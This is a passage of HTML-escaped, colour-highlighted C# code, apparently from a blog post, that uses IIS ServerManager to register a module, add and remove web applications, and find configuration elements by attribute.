color="#0000ff"&gt;=&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;moduleProviders.CreateElement()&lt;/font&gt;&lt;font color="#0000ff"&gt;;&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#000000"&gt;moduleProvider.SetAttributeValue(&lt;/font&gt;&lt;font color="#808080"&gt;&amp;quot;name&amp;quot;&lt;/font&gt;&lt;font color="#000000"&gt;,&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;name)&lt;/font&gt;&lt;font color="#0000ff"&gt;;&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#000000"&gt;moduleProvider.SetAttributeValue(&lt;/font&gt;&lt;font color="#808080"&gt;&amp;quot;type&amp;quot;&lt;/font&gt;&lt;font color="#000000"&gt;,&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;type)&lt;/font&gt;&lt;font color="#0000ff"&gt;;&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#000000"&gt;moduleProviders.Add(moduleProvider)&lt;/font&gt;&lt;font color="#0000ff"&gt;;&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#000000"&gt;}&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#006400"&gt;// Now register it so that all Sites have access to this module      &lt;br /&gt;&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#2b91af"&gt;ConfigurationSection&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;modulesSection&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#0000ff"&gt;=&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;adminConfig.GetSection(&lt;/font&gt;&lt;font color="#808080"&gt;&amp;quot;modules&amp;quot;&lt;/font&gt;&lt;font color="#000000"&gt;)&lt;/font&gt;&lt;font color="#0000ff"&gt;;&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#2b91af"&gt;ConfigurationElementCollection&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;modules&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#0000ff"&gt;=&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;modulesSection.GetCollection()&lt;/font&gt;&lt;font color="#0000ff"&gt;;&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#0000ff"&gt;if&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;(FindByAttribute(modules,&lt;/font&gt;&lt;font color="#808080"&gt; &amp;quot;name&amp;quot;&lt;/font&gt;&lt;font color="#000000"&gt;,&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;name)&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#0000ff"&gt;==&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#0000ff"&gt;null&lt;/font&gt;&lt;font color="#000000"&gt;)&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;{&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#2b91af"&gt;ConfigurationElement&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;module&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#0000ff"&gt;=&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;modules.CreateElement()&lt;/font&gt;&lt;font color="#0000ff"&gt;;&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#000000"&gt;module.SetAttributeValue(&lt;/font&gt;&lt;font color="#808080"&gt;&amp;quot;name&amp;quot;&lt;/font&gt;&lt;font color="#000000"&gt;,&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;name)&lt;/font&gt;&lt;font color="#0000ff"&gt;;&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#000000"&gt;modules.Add(module)&lt;/font&gt;&lt;font color="#0000ff"&gt;;&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#000000"&gt;}&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#000000"&gt;mgr.CommitChanges()&lt;/font&gt;&lt;font color="#0000ff"&gt;;&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#000000"&gt;}&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#000000"&gt;}&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#006400"&gt;/// &amp;lt;summary&amp;gt;      &lt;br /&gt;&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#006400"&gt;/// Create a new Web Application      &lt;br /&gt;&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#006400"&gt;/// &amp;lt;/summary&amp;gt;      &lt;br /&gt;&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#0000ff"&gt;public&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#0000ff"&gt;static&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#0000ff"&gt;void&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;CreateApplication(&lt;/font&gt;&lt;font color="#0000ff"&gt;string&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;siteName,&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#0000ff"&gt;string&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;virtualPath,&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#0000ff"&gt;string&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;physicalPath)&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;{&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#0000ff"&gt;using&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;(&lt;/font&gt;&lt;font color="#2b91af"&gt;ServerManager&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;mgr&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#0000ff"&gt;=&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#0000ff"&gt;new&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#2b91af"&gt;ServerManager&lt;/font&gt;&lt;font color="#000000"&gt;())&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;{&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#000000"&gt;Site&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;site&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#0000ff"&gt;=&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;mgr.Sites[siteName]&lt;/font&gt;&lt;font color="#0000ff"&gt;;&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#0000ff"&gt;if&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;(site&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;!&lt;/font&gt;&lt;font color="#0000ff"&gt;=&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#0000ff"&gt;null&lt;/font&gt;&lt;font color="#000000"&gt;)&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;{&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#000000"&gt;site.Applications.Add(virtualPath,&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;physicalPath)&lt;/font&gt;&lt;font color="#0000ff"&gt;;&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#000000"&gt;}&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#000000"&gt;mgr.CommitChanges()&lt;/font&gt;&lt;font color="#0000ff"&gt;;&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#000000"&gt;}&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#000000"&gt;}&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#006400"&gt;/// &amp;lt;summary&amp;gt;      &lt;br /&gt;&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#006400"&gt;/// Helper method to find an element based on an attribute      &lt;br /&gt;&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#006400"&gt;/// &amp;lt;/summary&amp;gt;      &lt;br /&gt;&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#0000ff"&gt;private&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#0000ff"&gt;static&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#2b91af"&gt;ConfigurationElement&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;FindByAttribute(&lt;/font&gt;&lt;font color="#2b91af"&gt;ConfigurationElementCollection&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;collection,&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#0000ff"&gt;string&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;attributeName,&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#0000ff"&gt;string&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#0000ff"&gt;value&lt;/font&gt;&lt;font color="#000000"&gt;)&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;{&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#0000ff"&gt;foreach&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;(&lt;/font&gt;&lt;font color="#2b91af"&gt;ConfigurationElement&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;element&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#0000ff"&gt;in&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;collection)&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;{&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#0000ff"&gt;if&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;(&lt;/font&gt;&lt;font color="#2b91af"&gt;String&lt;/font&gt;&lt;font color="#000000"&gt;.Equals((&lt;/font&gt;&lt;font color="#0000ff"&gt;string&lt;/font&gt;&lt;font color="#000000"&gt;)element.GetAttribute(attributeName).Value,&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#0000ff"&gt;value&lt;/font&gt;&lt;font color="#000000"&gt;,&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#2b91af"&gt;StringComparison&lt;/font&gt;&lt;font color="#000000"&gt;.OrdinalIgnoreCase))&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;{&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#0000ff"&gt;return&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;element&lt;/font&gt;&lt;font color="#0000ff"&gt;;&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#000000"&gt;}&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#000000"&gt;}&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#0000ff"&gt;return&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#0000ff"&gt;null;&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#000000"&gt;}&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#0000ff"&gt;public&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#0000ff"&gt;static&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#0000ff"&gt;void&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;RemoveApplication(&lt;/font&gt;&lt;font color="#0000ff"&gt;string&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;siteName,&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#0000ff"&gt;string&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;virtualPath)&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;{&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#0000ff"&gt;using&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;(&lt;/font&gt;&lt;font color="#2b91af"&gt;ServerManager&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;mgr&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#0000ff"&gt;=&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#0000ff"&gt;new&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#2b91af"&gt;ServerManager&lt;/font&gt;&lt;font color="#000000"&gt;())&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;{&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#000000"&gt;Site&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;site&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#0000ff"&gt;=&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;mgr.Sites[siteName]&lt;/font&gt;&lt;font color="#0000ff"&gt;;&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#0000ff"&gt;if&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;(site&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;!&lt;/font&gt;&lt;font color="#0000ff"&gt;=&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#0000ff"&gt;null&lt;/font&gt;&lt;font color="#000000"&gt;)&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;{&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#2b91af"&gt;Application&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;app&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#0000ff"&gt;=&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;site.Applications[virtualPath]&lt;/font&gt;&lt;font color="#0000ff"&gt;;&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#0000ff"&gt;if&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;(app&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;!&lt;/font&gt;&lt;font color="#0000ff"&gt;=&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#0000ff"&gt;null&lt;/font&gt;&lt;font color="#000000"&gt;)&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;{&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#000000"&gt;site.Applications.Remove(app)&lt;/font&gt;&lt;font color="#0000ff"&gt;;&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#000000"&gt;mgr.CommitChanges()&lt;/font&gt;&lt;font color="#0000ff"&gt;;&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#000000"&gt;}&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#000000"&gt;}&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#000000"&gt;}&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; 